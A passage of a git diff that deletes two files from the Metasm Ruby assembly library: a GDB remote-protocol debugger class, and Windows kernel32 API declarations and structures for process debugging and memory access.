@gdbregs.length - when 'x64' - @gdbregs = GDBREGS_X64 - @regmsgsize = 8 * @gdbregs.length - when 'arm' - @gdbregs = cpu.dbg_register_list - @regmsgsize = 4 * @gdbregs.length - when 'mips' - @gdbregs = cpu.dbg_register_list - @regmsgsize = cpu.size/8 * @gdbregs.length - else - # we can still use readmem/kill and other generic commands - # XXX serverside setregs may fail if we give an incorrect regbuf size - puts "unsupported GdbServer CPU #{cpu.shortname}" - @gdbregs = [*0..32].map { |i| "r#{i}".to_sym } - @regmsgsize = 0 - end - - # yay life ! - # do as if cpu is littleendian, fixup at the end - case @ptrsz - when 16 - @pack_netint = lambda { |i| i.pack('n*') } - @unpack_netint = lambda { |s| s.unpack('n*') } - @pack_int = lambda { |i| i.pack('v*') } - @unpack_int = lambda { |s| s.unpack('v*') } - when 32 - @pack_netint = lambda { |i| i.pack('N*') } - @unpack_netint = lambda { |s| s.unpack('N*') } - @pack_int = lambda { |i| i.pack('V*') } - @unpack_int = lambda { |s| s.unpack('V*') } - when 64 - bswap = lambda { |s| s.scan(/.{8}/m).map { |ss| ss.reverse }.join } - @pack_netint = lambda { |i| i.pack('Q*') } - @unpack_netint = lambda { |s| s.unpack('Q*') } - @pack_int = lambda { |i| bswap[i.pack('Q*')] } - @unpack_int = lambda { |s| bswap[s].unpack('Q*') } - if [1].pack('Q')[0] == ?\1 # ruby interpreter littleendian - @pack_netint, @pack_int = @pack_int, @pack_netint - @unpack_netint, @unpack_int = @unpack_int, @unpack_netint - end - else raise "GdbServer: unsupported cpu size #{@ptrsz}" - end - - # if target cpu is bigendian, use netint everywhere - if cpu.endianness == :big - @pack_int = @pack_netint - @unpack_int = @unpack_netint - end - end -end - -# virtual string to access the remote process memory -class GdbRemoteString < VirtualString - attr_accessor :gdb - - def initialize(gdb, addr_start=0, length=nil) - @gdb = gdb - length ||= 1 << (@gdb.ptrsz || 32) - @pagelength = 512 - super(addr_start, length) - end - - def dup(addr=@addr_start, len=@length) - self.class.new(@gdb, addr, len) - end - - def rewrite_at(addr, data) - len = data.length - off = 0 - while len > @pagelength - @gdb.setmem(addr+off, data[off, @pagelength]) - off += @pagelength - len -= @pagelength - end - @gdb.setmem(addr+off, data[off, len]) - end - - def get_page(addr, len=@pagelength) - @gdb.getmem(addr, len) - end -end - -# this class implements a high-level API using the gdb-server network debugging protocol -class GdbRemoteDebugger < Debugger - attr_accessor :gdb, :check_target_timeout, :reg_val_cache - def initialize(url, cpu='Ia32') - super() - @tid_stuff_list << :reg_val_cache << :regs_dirty - @gdb = GdbClient.new(url, cpu) - @gdb.logger = self - # when checking target, if no message seen since this much seconds, send a 'status' query - @check_target_timeout = 1 - set_context(28, 28) - end - - def check_pid(pid) - # return nil if pid == nil - pid - end - def check_tid(tid) - tid - end - - def list_processes - [@pid].compact - end - def list_threads - [@tid].compact - end - - def mappings - [] - end - - def modules - [] - end - - - def initialize_newtid - super() - @reg_val_cache = {} - @regs_dirty = false - end - - attr_accessor :realmode - def initialize_cpu - @cpu = @gdb.cpu - @realmode = true if @cpu and @cpu.shortname =~ /^ia32_16/ - end - - def initialize_memory - @memory = GdbRemoteString.new(@gdb) - end - - def invalidate - sync_regs - @reg_val_cache.clear - super() - end - - def get_reg_value(r) - r = r.to_sym - return @reg_val_cache[r] || 0 if @state != :stopped - sync_regs - @reg_val_cache = @gdb.read_regs || {} if @reg_val_cache.empty? - if realmode - case r - when :eip; seg = :cs - when :esp; seg = :ss - else seg = :ds - end - # XXX seg override - return @reg_val_cache[seg].to_i*16 + @reg_val_cache[r].to_i - end - @reg_val_cache[r] || 0 - end - def set_reg_value(r, v) - r = r.to_sym - # XXX realmode - @reg_val_cache[r] = v - @regs_dirty = true - end - - def sync_regs - @gdb.send_regs(@reg_val_cache) if @regs_dirty and not @reg_val_cache.empty? - @regs_dirty = false - end - - def do_check_target - return if @state == :dead - - # keep-alive on the connexion - t = Time.now - @last_check_target ||= t - if @state == :running and t - @last_check_target > @check_target_timeout - @gdb.io.write '$?#' << @gdb.gdb_csum('?') - @last_check_target = t - end - - return unless i = @gdb.check_target(0.01) - update_state(i) - true - end - - def do_wait_target - return unless i = @gdb.check_target(nil) - update_state(i) - end - - def update_state(i) - @info = (i[:info] if i[:info] !~ /TRAP/) - if i[:state] == :stopped and @state != :stopped - invalidate - @state = i[:state] - case @run_method - when :singlestep - evt_singlestep - else - evt_bpx # XXX evt_hwbp? - end - else - @state = i[:state] - end - end - - def do_continue(*a) - @state = :running - @gdb.continue - @last_check_target = Time.now - end - - def do_singlestep(*a) - @state = :running - @gdb.singlestep - @last_check_target = Time.now - end - - def break - @gdb.break - end - - def kill(sig=nil) - # TODO signal nr - @state = :dead - @gdb.kill - end - - def detach - del_all_breakpoints - del_pid - end - - # set to true to use the gdb msg to handle bpx, false to set 0xcc manually ourself - attr_accessor :gdb_bpx - def do_enable_bp(b) - case b.type - when :bpm - do_enable_bpm(b) - when :bpx - if gdb_bpx - @gdb.set_hwbp('s', b.address, 1) - else - @cpu.dbg_enable_bp(self, b) - end - when :hwbp - @gdb.set_hwbp(b.internal[:type], b.address, b.internal[:len]) - end - end - - def do_disable_bp(b) - case b.type - when :bpm - do_disable_bpm(b) - when :bpx - if gdb_bpx - @gdb.unset_hwbp('s', b.address, 1) - else - @cpu.dbg_disable_bp(self, b) - end - when :hwbp - @gdb.unset_hwbp(b.internal[:type], b.address, b.internal[:len]) - end - end - - def check_pre_run(*a) - if ret = super(*a) - sync_regs - ret - end - end - - def loadallsyms - puts 'loadallsyms unsupported' - end - - def ui_command_setup(ui) - ui.new_command('monitor', 'send a remote command to run on the target') { |arg| @gdb.rcmd(arg) } - end -end -end diff --git a/lib/metasm/metasm/os/windows.rb b/lib/metasm/metasm/os/windows.rb deleted file mode 100644 index f8322f85ed..0000000000 --- a/lib/metasm/metasm/os/windows.rb +++ /dev/null @@ -1,2117 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/os/main' -require 'metasm/debug' -require 'metasm/dynldr' - -module Metasm -class WinAPI < DynLdr - def self.api_not_found(lib, func) - puts "could not find symbol #{func.name.inspect} in #{lib.inspect}" if $VERBOSE and not func.attributes.to_a.include?('optional') - end - - new_api_c <<EOS, 'kernel32' -#line #{__LINE__} - -typedef char CHAR; -typedef unsigned char BYTE; -typedef unsigned short WORD, USHORT; -typedef unsigned int UINT; -typedef long LONG; -typedef unsigned long ULONG, DWORD, *LPDWORD; -typedef int BOOL; -typedef unsigned long long DWORD64, ULONGLONG; - -typedef intptr_t INT_PTR, LONG_PTR; -typedef uintptr_t UINT_PTR, ULONG_PTR, DWORD_PTR, SIZE_T; -typedef LONG_PTR LPARAM; -typedef UINT_PTR WPARAM; -typedef LONG_PTR LRESULT; -typedef const CHAR *LPSTR, *LPCSTR; -typedef void VOID, *PVOID, *LPVOID; - -typedef void *HANDLE; -typedef void *HMODULE; - -#define INVALID_HANDLE_VALUE (HANDLE)-1 -#define DECLSPEC_IMPORT __declspec(dllimport) -#define WINUSERAPI DECLSPEC_IMPORT -#define WINBASEAPI DECLSPEC_IMPORT -#define WINAPI __stdcall -#define CALLBACK __stdcall -#define CONST const -#define ZEROOK __attribute__((zero_not_fail)) -#define __in __attribute__((in)) -#define __out __attribute__((out)) -#define __opt __attribute__((opt)) -#define __inout __in __out -#define __in_opt __in __opt -#define __out_opt __out __opt -#define __inout_opt __inout __opt - -#define FORMAT_MESSAGE_FROM_SYSTEM 0x00001000 -#define INFINITE 0xFFFFFFFF - -#define PAGE_NOACCESS 0x01 -#define PAGE_READONLY 0x02 -#define PAGE_READWRITE 0x04 -#define PAGE_WRITECOPY 0x08 -#define PAGE_EXECUTE 0x10 -#define PAGE_EXECUTE_READ 0x20 -#define PAGE_EXECUTE_READWRITE 0x40 -#define PAGE_EXECUTE_WRITECOPY 0x80 -#define PAGE_GUARD 0x100 -#define PAGE_NOCACHE 0x200 -#define PAGE_WRITECOMBINE 0x400 -#define MEM_COMMIT 0x1000 -#define MEM_RESERVE 0x2000 -#define MEM_DECOMMIT 0x4000 -#define MEM_RELEASE 0x8000 -#define MEM_FREE 0x10000 -#define MEM_PRIVATE 0x20000 -#define MEM_MAPPED 0x40000 -#define MEM_RESET 0x80000 -#define MEM_TOP_DOWN 0x100000 -#define MEM_WRITE_WATCH 0x200000 -#define MEM_PHYSICAL 0x400000 -#define MEM_LARGE_PAGES 0x20000000 -#define MEM_4MB_PAGES 0x80000000 -#define SEC_FILE 0x800000 -#define SEC_IMAGE 0x1000000 -#define SEC_RESERVE 0x4000000 -#define SEC_COMMIT 0x8000000 -#define SEC_NOCACHE 0x10000000 -#define SEC_LARGE_PAGES 0x80000000 -#define MEM_IMAGE SEC_IMAGE - -#define DEBUG_PROCESS 0x00000001 -#define DEBUG_ONLY_THIS_PROCESS 0x00000002 -#define CREATE_SUSPENDED 0x00000004 -#define DETACHED_PROCESS 0x00000008 -#define CREATE_NEW_CONSOLE 0x00000010 -#define NORMAL_PRIORITY_CLASS 0x00000020 -#define IDLE_PRIORITY_CLASS 0x00000040 -#define HIGH_PRIORITY_CLASS 0x00000080 -#define REALTIME_PRIORITY_CLASS 0x00000100 -#define CREATE_NEW_PROCESS_GROUP 0x00000200 -#define CREATE_UNICODE_ENVIRONMENT 0x00000400 -#define CREATE_SEPARATE_WOW_VDM 0x00000800 -#define CREATE_SHARED_WOW_VDM 0x00001000 -#define CREATE_FORCEDOS 0x00002000 -#define BELOW_NORMAL_PRIORITY_CLASS 0x00004000 -#define ABOVE_NORMAL_PRIORITY_CLASS 0x00008000 -#define STACK_SIZE_PARAM_IS_A_RESERVATION 0x00010000 -#define CREATE_BREAKAWAY_FROM_JOB 0x01000000 -#define CREATE_PRESERVE_CODE_AUTHZ_LEVEL 0x02000000 -#define CREATE_DEFAULT_ERROR_MODE 0x04000000 -#define CREATE_NO_WINDOW 0x08000000 -#define PROFILE_USER 0x10000000 -#define PROFILE_KERNEL 0x20000000 -#define PROFILE_SERVER 0x40000000 -#define CREATE_IGNORE_SYSTEM_DEFAULT 0x80000000 - -#define STATUS_WAIT_0 ((DWORD )0x00000000L) -#define STATUS_ABANDONED_WAIT_0 ((DWORD )0x00000080L) -#define STATUS_USER_APC ((DWORD )0x000000C0L) -#define STATUS_TIMEOUT ((DWORD )0x00000102L) -#define STATUS_PENDING ((DWORD )0x00000103L) -#define DBG_EXCEPTION_HANDLED ((DWORD )0x00010001L) -#define DBG_CONTINUE ((DWORD )0x00010002L) -#define STATUS_SEGMENT_NOTIFICATION ((DWORD )0x40000005L) -#define DBG_TERMINATE_THREAD ((DWORD )0x40010003L) -#define DBG_TERMINATE_PROCESS ((DWORD )0x40010004L) -#define DBG_CONTROL_C ((DWORD )0x40010005L) -#define DBG_CONTROL_BREAK ((DWORD )0x40010008L) -#define DBG_COMMAND_EXCEPTION ((DWORD )0x40010009L) -#define STATUS_WX86_CONTINUE ((DWORD )0x4000001DL) -#define STATUS_WX86_SINGLE_STEP ((DWORD )0x4000001EL) -#define STATUS_WX86_BREAKPOINT ((DWORD )0x4000001FL) -#define STATUS_WX86_EXCEPTION_CONTINUE ((DWORD )0x40000020L) -#define STATUS_WX86_EXCEPTION_LASTCHANCE ((DWORD )0x40000021L) -#define STATUS_WX86_EXCEPTION_CHAIN ((DWORD )0x40000022L) -#define STATUS_GUARD_PAGE_VIOLATION ((DWORD )0x80000001L) -#define STATUS_DATATYPE_MISALIGNMENT ((DWORD )0x80000002L) -#define STATUS_BREAKPOINT ((DWORD )0x80000003L) -#define STATUS_SINGLE_STEP ((DWORD )0x80000004L) -#define DBG_EXCEPTION_NOT_HANDLED ((DWORD )0x80010001L) -#define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L) -#define STATUS_IN_PAGE_ERROR ((DWORD )0xC0000006L) -#define STATUS_INVALID_HANDLE ((DWORD )0xC0000008L) -#define STATUS_NO_MEMORY ((DWORD )0xC0000017L) -#define STATUS_ILLEGAL_INSTRUCTION ((DWORD )0xC000001DL) -#define STATUS_NONCONTINUABLE_EXCEPTION ((DWORD )0xC0000025L) -#define STATUS_INVALID_DISPOSITION ((DWORD )0xC0000026L) -#define STATUS_ARRAY_BOUNDS_EXCEEDED ((DWORD )0xC000008CL) -#define STATUS_FLOAT_DENORMAL_OPERAND ((DWORD )0xC000008DL) -#define STATUS_FLOAT_DIVIDE_BY_ZERO ((DWORD )0xC000008EL) -#define STATUS_FLOAT_INEXACT_RESULT ((DWORD )0xC000008FL) -#define STATUS_FLOAT_INVALID_OPERATION ((DWORD )0xC0000090L) -#define STATUS_FLOAT_OVERFLOW ((DWORD )0xC0000091L) -#define STATUS_FLOAT_STACK_CHECK ((DWORD )0xC0000092L) -#define STATUS_FLOAT_UNDERFLOW ((DWORD )0xC0000093L) -#define STATUS_INTEGER_DIVIDE_BY_ZERO ((DWORD )0xC0000094L) -#define STATUS_INTEGER_OVERFLOW ((DWORD )0xC0000095L) -#define STATUS_PRIVILEGED_INSTRUCTION ((DWORD )0xC0000096L) -#define STATUS_STACK_OVERFLOW ((DWORD )0xC00000FDL) -#define STATUS_CONTROL_C_EXIT ((DWORD )0xC000013AL) -#define STATUS_FLOAT_MULTIPLE_FAULTS ((DWORD )0xC00002B4L) -#define STATUS_FLOAT_MULTIPLE_TRAPS ((DWORD )0xC00002B5L) -#define STATUS_REG_NAT_CONSUMPTION ((DWORD )0xC00002C9L) - -#define EXCEPTION_DEBUG_EVENT 1 -#define CREATE_THREAD_DEBUG_EVENT 2 -#define CREATE_PROCESS_DEBUG_EVENT 3 -#define EXIT_THREAD_DEBUG_EVENT 4 -#define EXIT_PROCESS_DEBUG_EVENT 5 -#define LOAD_DLL_DEBUG_EVENT 6 -#define UNLOAD_DLL_DEBUG_EVENT 7 -#define OUTPUT_DEBUG_STRING_EVENT 8 -#define RIP_EVENT 9 - -#define MAX_PATH 260 - -#define EXCEPTION_NONCONTINUABLE 0x1 // Noncontinuable exception -#define EXCEPTION_MAXIMUM_PARAMETERS 15 // maximum number of exception parameters - -typedef struct _EXCEPTION_RECORD { - DWORD ExceptionCode; - DWORD ExceptionFlags; // noncontinuable - struct _EXCEPTION_RECORD *ExceptionRecord; - PVOID ExceptionAddress; - DWORD NumberParameters; - ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; -} EXCEPTION_RECORD, *PEXCEPTION_RECORD; - -typedef struct _EXCEPTION_RECORD32 { - DWORD ExceptionCode; - DWORD ExceptionFlags; - DWORD ExceptionRecord; - DWORD ExceptionAddress; - DWORD NumberParameters; - DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; -} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; - -typedef struct _EXCEPTION_RECORD64 { - DWORD ExceptionCode; - DWORD ExceptionFlags; - DWORD64 ExceptionRecord; - DWORD64 ExceptionAddress; - DWORD NumberParameters; - DWORD __unusedAlignment; - DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; -} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; - -typedef struct _EXCEPTION_DEBUG_INFO { - EXCEPTION_RECORD ExceptionRecord; - DWORD dwFirstChance; -} EXCEPTION_DEBUG_INFO, *LPEXCEPTION_DEBUG_INFO; - -typedef struct _EXCEPTION_DEBUG_INFO32 { - EXCEPTION_RECORD32 ExceptionRecord; - DWORD dwFirstChance; -} EXCEPTION_DEBUG_INFO32; - -typedef struct _EXCEPTION_DEBUG_INFO64 { - EXCEPTION_RECORD64 ExceptionRecord; - DWORD dwFirstChance; -} EXCEPTION_DEBUG_INFO64; - -typedef struct _CREATE_THREAD_DEBUG_INFO { - HANDLE hThread; - LPVOID lpThreadLocalBase; - LPVOID lpStartAddress; -} CREATE_THREAD_DEBUG_INFO, *LPCREATE_THREAD_DEBUG_INFO; - -typedef struct _CREATE_PROCESS_DEBUG_INFO { - HANDLE hFile; - HANDLE hProcess; - HANDLE hThread; - LPVOID lpBaseOfImage; - DWORD dwDebugInfoFileOffset; - DWORD nDebugInfoSize; - LPVOID lpThreadLocalBase; - LPVOID lpStartAddress; - LPVOID lpImageName; - WORD fUnicode; -} CREATE_PROCESS_DEBUG_INFO, *LPCREATE_PROCESS_DEBUG_INFO; - -typedef struct _EXIT_THREAD_DEBUG_INFO { - DWORD dwExitCode; -} EXIT_THREAD_DEBUG_INFO, *LPEXIT_THREAD_DEBUG_INFO; - -typedef struct _EXIT_PROCESS_DEBUG_INFO { - DWORD dwExitCode; -} EXIT_PROCESS_DEBUG_INFO, *LPEXIT_PROCESS_DEBUG_INFO; - -typedef struct _LOAD_DLL_DEBUG_INFO { - HANDLE hFile; - LPVOID lpBaseOfDll; - DWORD dwDebugInfoFileOffset; - DWORD nDebugInfoSize; - LPVOID lpImageName; - WORD fUnicode; -} LOAD_DLL_DEBUG_INFO, *LPLOAD_DLL_DEBUG_INFO; - -typedef struct _UNLOAD_DLL_DEBUG_INFO { - LPVOID lpBaseOfDll; -} UNLOAD_DLL_DEBUG_INFO, *LPUNLOAD_DLL_DEBUG_INFO; - -typedef struct _OUTPUT_DEBUG_STRING_INFO { - LPSTR lpDebugStringData; - WORD fUnicode; - WORD nDebugStringLength; -} OUTPUT_DEBUG_STRING_INFO, *LPOUTPUT_DEBUG_STRING_INFO; - -typedef struct _RIP_INFO { - DWORD dwError; - DWORD dwType; -} RIP_INFO, *LPRIP_INFO; - -typedef struct _DEBUG_EVENT { - DWORD dwDebugEventCode; - DWORD dwProcessId; - DWORD dwThreadId; - // DWORD pad64; (implicit) - union { - EXCEPTION_DEBUG_INFO Exception; - EXCEPTION_DEBUG_INFO32 Exception32; - CREATE_THREAD_DEBUG_INFO CreateThread; - CREATE_PROCESS_DEBUG_INFO CreateProcess; - EXIT_THREAD_DEBUG_INFO ExitThread; - EXIT_PROCESS_DEBUG_INFO ExitProcess; - LOAD_DLL_DEBUG_INFO LoadDll; - UNLOAD_DLL_DEBUG_INFO UnloadDll; - OUTPUT_DEBUG_STRING_INFO DebugString; - RIP_INFO RipInfo; - } u; -} DEBUG_EVENT, *LPDEBUG_EVENT; - -// XXX conflict with structure name.. -#define CONTEXT_I386 0x00010000 -#define CONTEXT_AMD64 0x00100000 - -#define CONTEXT_CONTROL 0x00000001L // SS:SP, CS:IP, FLAGS, BP -#define CONTEXT_INTEGER 0x00000002L // AX, BX, CX, DX, SI, DI -#define CONTEXT_SEGMENTS 0x00000004L // DS, ES, FS, GS -#define CONTEXT_FLOATING_POINT 0x00000008L // 387 state -#define CONTEXT_DEBUG_REGISTERS 0x00000010L // DB 0-3,6,7 -#define CONTEXT_EXTENDED_REGISTERS 0x00000020L // cpu specific extensions -#define CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS) -#define CONTEXT_ALL (CONTEXT_FULL | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS) - -#define CONTEXT_I386_FULL CONTEXT_I386 | CONTEXT_FULL -#define CONTEXT_I386_ALL CONTEXT_I386 | CONTEXT_ALL -#define CONTEXT_AMD64_FULL CONTEXT_AMD64 | CONTEXT_FULL -#define CONTEXT_AMD64_ALL CONTEXT_AMD64 | CONTEXT_ALL - -#define MAXIMUM_SUPPORTED_EXTENSION 512 -#define SIZE_OF_80387_REGISTERS 80 - -typedef struct _FPREG { BYTE b[10]; } FPREG; -typedef struct _XMMREG { ULONGLONG lo, hi; } XMMREG; - -typedef struct _FLOATING_SAVE_AREA { - WORD ControlWord; - WORD res0; - WORD StatusWord; - WORD res1; - WORD TagWord; - WORD res2; - DWORD ErrorOffset; - WORD ErrorSelector; - WORD ErrorOpcode; - DWORD DataOffset; - WORD DataSelector; - WORD res3; - FPREG St[8]; - DWORD Cr0NpxState; -} FLOATING_SAVE_AREA, *PFLOATING_SAVE_AREA; - -typedef struct _CONTEXT_I386 { - DWORD ContextFlags; - DWORD Dr0; - DWORD Dr1; - DWORD Dr2; - DWORD Dr3; - DWORD Dr6; - DWORD Dr7; - FLOATING_SAVE_AREA FloatSave; - DWORD SegGs; - DWORD SegFs; - DWORD SegEs; - DWORD SegDs; - DWORD Edi; - DWORD Esi; - DWORD Ebx; - DWORD Edx; - DWORD Ecx; - DWORD Eax; - DWORD Ebp; - DWORD Eip; - DWORD SegCs; - DWORD EFlags; - DWORD Esp; - DWORD SegSs; - - XMMREG Xmm[8]; - - BYTE ExtendedRegisters[24*16]; -} *LPCONTEXT_I386, *LPCONTEXT; - -typedef struct _CONTEXT_AMD64 { - DWORD64 P1Home; // Register parameter home addresses. - DWORD64 P2Home; - DWORD64 P3Home; - DWORD64 P4Home; - DWORD64 P5Home; - DWORD64 P6Home; - - DWORD ContextFlags; - DWORD MxCsr; - - WORD SegCs; - WORD SegDs; - WORD SegEs; - WORD SegFs; - WORD SegGs; - WORD SegSs; - DWORD RFlags; - - DWORD64 Dr0; - DWORD64 Dr1; - DWORD64 Dr2; - DWORD64 Dr3; - DWORD64 Dr6; - DWORD64 Dr7; - - DWORD64 Rax; - DWORD64 Rcx; - DWORD64 Rdx; - DWORD64 Rbx; - DWORD64 Rsp; - DWORD64 Rbp; - DWORD64 Rsi; - DWORD64 Rdi; - DWORD64 R8; - DWORD64 R9; - DWORD64 R10; - DWORD64 R11; - DWORD64 R12; - DWORD64 R13; - DWORD64 R14; - DWORD64 R15; - DWORD64 Rip; - - WORD ControlWord; - WORD StatusWord; - BYTE TagWord; - BYTE resv1; - WORD ErrorOpcode; - DWORD ErrorOffset; - WORD ErrorSelector; - WORD resv2; - DWORD DataAtOffset; - WORD DataSelector; - WORD resv3; - DWORD MxCsr_f; - DWORD MxCsrMask; - XMMREG ST[8]; - XMMREG Xmm[16]; - - XMMREG Vector[26]; - DWORD64 VectorControl; - - DWORD64 DebugControl; - DWORD64 LastBranchToRip; - DWORD64 LastBranchFromRip; - DWORD64 LastExceptionToRip; - DWORD64 LastExceptionFromRip; -} *LPCONTEXT_AMD64; - -typedef struct _EXCEPTION_POINTERS { - PEXCEPTION_RECORD ExceptionRecord; - LPCONTEXT ContextRecord; -} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; - -#define STANDARD_RIGHTS_REQUIRED (0x000F0000L) -#define SYNCHRONIZE (0x00100000L) - -#define PROCESS_TERMINATE (0x0001) -#define PROCESS_CREATE_THREAD (0x0002) -#define PROCESS_SET_SESSIONID (0x0004) -#define PROCESS_VM_OPERATION (0x0008) -#define PROCESS_VM_READ (0x0010) -#define PROCESS_VM_WRITE (0x0020) -#define PROCESS_DUP_HANDLE (0x0040) -#define PROCESS_CREATE_PROCESS (0x0080) -#define PROCESS_SET_QUOTA (0x0100) -#define PROCESS_SET_INFORMATION (0x0200) -#define PROCESS_QUERY_INFORMATION (0x0400) -#define PROCESS_SUSPEND_RESUME (0x0800) -#define PROCESS_QUERY_LIMITED_INFORMATION (0x1000) -#define PROCESS_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF) - -#define THREAD_TERMINATE (0x0001) -#define THREAD_SUSPEND_RESUME (0x0002) -#define THREAD_GET_CONTEXT (0x0008) -#define THREAD_SET_CONTEXT (0x0010) -#define THREAD_SET_INFORMATION (0x0020) -#define THREAD_QUERY_INFORMATION (0x0040) -#define THREAD_SET_THREAD_TOKEN (0x0080) -#define THREAD_IMPERSONATE (0x0100) -#define THREAD_DIRECT_IMPERSONATION (0x0200) -#define THREAD_SET_LIMITED_INFORMATION (0x0400) -#define THREAD_QUERY_LIMITED_INFORMATION (0x0800) -#define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x3FF) - - -typedef struct _STARTUPINFOA { - DWORD cb; - LPSTR lpReserved; - LPSTR lpDesktop; - LPSTR lpTitle; - DWORD dwX; - DWORD dwY; - DWORD dwXSize; - DWORD dwYSize; - DWORD dwXCountChars; - DWORD dwYCountChars; - DWORD dwFillAttribute; - DWORD dwFlags; - WORD wShowWindow; - WORD cbReserved2; - LPVOID lpReserved2; - HANDLE hStdInput; - HANDLE hStdOutput; - HANDLE hStdError; -} STARTUPINFOA, *LPSTARTUPINFOA; - -typedef struct _PROCESS_INFORMATION { - HANDLE hProcess; - HANDLE hThread; - DWORD dwProcessId; - DWORD dwThreadId; -} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; - - -WINAPI -DWORD -GetVersion(VOID); - -WINBASEAPI -HANDLE -WINAPI -OpenProcess( - __in DWORD dwDesiredAccess, - __in BOOL bInheritHandle, - __in DWORD dwProcessId -); - -WINBASEAPI -HANDLE -WINAPI -GetCurrentProcess(VOID); - -WINBASEAPI -DWORD -WINAPI -GetCurrentProcessId(VOID); - -WINBASEAPI -BOOL -WINAPI -TerminateProcess( - __in HANDLE hProcess, - __in UINT uExitCode); - -WINBASEAPI -BOOL -WINAPI -GetExitCodeProcess( - __in HANDLE hProcess, - __out LPDWORD lpExitCode); - -WINBASEAPI -HANDLE -WINAPI -CreateRemoteThread( - __in HANDLE hProcess, - __in_opt LPVOID lpThreadAttributes, - __in DWORD dwStackSize, - __in LPVOID lpStartAddress, - __in_opt LPVOID lpParameter, - __in DWORD dwCreationFlags, - __out_opt LPDWORD lpThreadId); - -/* Vista onwards only.. -WINBASEAPI -DWORD -WINAPI -GetThreadId( - __in HANDLE Thread); -*/ - -WINBASEAPI -DWORD -WINAPI -GetProcessId( - __in HANDLE Process); - -WINBASEAPI -HANDLE -WINAPI -OpenThread( - __in DWORD dwDesiredAccess, - __in BOOL bInheritHandle, - __in DWORD dwThreadId); - -WINBASEAPI -BOOL -WINAPI -TerminateThread( - __in HANDLE hThread, - __in DWORD dwExitCode); - -WINBASEAPI -BOOL -WINAPI -GetExitCodeThread( - __in HANDLE hThread, - __out LPDWORD lpExitCode); - -ZEROOK -WINBASEAPI -DWORD -WINAPI -GetLastError(VOID); - -ZEROOK -WINBASEAPI -BOOL -WINAPI -ReadProcessMemory( - __in HANDLE hProcess, - __in LPVOID lpBaseAddress, - __out LPVOID lpBuffer, - __in DWORD nSize, - __out_opt DWORD *lpNumberOfBytesRead); - -WINBASEAPI -BOOL -WINAPI -WriteProcessMemory( - __in HANDLE hProcess, - __in LPVOID lpBaseAddress, - __in LPVOID lpBuffer, - __in DWORD nSize, - __out_opt DWORD *lpNumberOfBytesWritten); - -WINBASEAPI -BOOL -WINAPI -GetThreadContext( - __in HANDLE hThread, - __inout LPCONTEXT lpContext); - -WINBASEAPI -BOOL -WINAPI -SetThreadContext( - __in HANDLE hThread, - __in LPCONTEXT lpContext); - -WINBASEAPI -BOOL -WINAPI -__attribute__((optional)) -Wow64GetThreadContext( - __in HANDLE hThread, - __inout LPCONTEXT_I386 lpContext); - -WINBASEAPI -BOOL -WINAPI -__attribute__((optional)) -Wow64SetThreadContext( - __in HANDLE hThread, - __inout LPCONTEXT_I386 lpContext); - -ZEROOK -WINBASEAPI -DWORD -WINAPI -SuspendThread( - __in HANDLE hThread); - -ZEROOK -WINBASEAPI -DWORD -WINAPI -__attribute__((optional)) -Wow64SuspendThread( - __in HANDLE hThread); - -ZEROOK -WINBASEAPI -DWORD -WINAPI -ResumeThread( - __in HANDLE hThread); - -WINBASEAPI -VOID -WINAPI -DebugBreak(VOID); - -ZEROOK -WINBASEAPI -BOOL -WINAPI -WaitForDebugEvent( - __in LPDEBUG_EVENT lpDebugEvent, - __in DWORD dwMilliseconds); - -WINBASEAPI -BOOL -WINAPI -ContinueDebugEvent( - __in DWORD dwProcessId, - __in DWORD dwThreadId, - __in DWORD dwContinueStatus); - -WINBASEAPI -BOOL -WINAPI -DebugActiveProcess( - __in DWORD dwProcessId); - -WINBASEAPI -BOOL -WINAPI -DebugActiveProcessStop( - __in DWORD dwProcessId); - -WINBASEAPI -BOOL -WINAPI -DebugSetProcessKillOnExit( - __in BOOL KillOnExit); - -WINBASEAPI -BOOL -WINAPI -DebugBreakProcess ( - __in HANDLE Process); - -ZEROOK -WINBASEAPI -DWORD -WINAPI -FormatMessageA( - DWORD dwFlags, - LPVOID lpSource, - DWORD dwMessageId, - DWORD dwLanguageId, - LPSTR lpBuffer, - DWORD nSize, - LPVOID Arguments); - -WINBASEAPI -BOOL -WINAPI -CreateProcessA( - __in_opt LPCSTR lpApplicationName, - __inout_opt LPSTR lpCommandLine, - __in_opt LPVOID lpProcessAttributes, - __in_opt LPVOID lpThreadAttributes, - __in BOOL bInheritHandles, - __in DWORD dwCreationFlags, - __in_opt LPVOID lpEnvironment, - __in_opt LPCSTR lpCurrentDirectory, - __in LPSTARTUPINFOA lpStartupInfo, - __out LPPROCESS_INFORMATION lpProcessInformation); - -WINBASEAPI -BOOL -WINAPI -CloseHandle( - __in HANDLE hObject); - -WINBASEAPI -LPVOID -WINAPI -VirtualAllocEx( - __in HANDLE hProcess, - __in_opt LPVOID lpAddress, - __in SIZE_T dwSize, - __in DWORD flAllocationType, - __in DWORD flProtect); - -WINBASEAPI -BOOL -WINAPI -VirtualFreeEx( - __in HANDLE hProcess, - __in LPVOID lpAddress, - __in SIZE_T dwSize, - __in DWORD dwFreeType); - -WINBASEAPI -BOOL -WINAPI -VirtualProtectEx( - __in HANDLE hProcess, - __in LPVOID lpAddress, - __in SIZE_T dwSize, - __in DWORD flNewProtect, - __out LPDWORD lpflOldProtect); - -#define TH32CS_SNAPHEAPLIST 0x00000001 -#define TH32CS_SNAPPROCESS 0x00000002 -#define TH32CS_SNAPTHREAD 0x00000004 -#define TH32CS_SNAPMODULE 0x00000008 -#define TH32CS_SNAPMODULE32 0x00000010 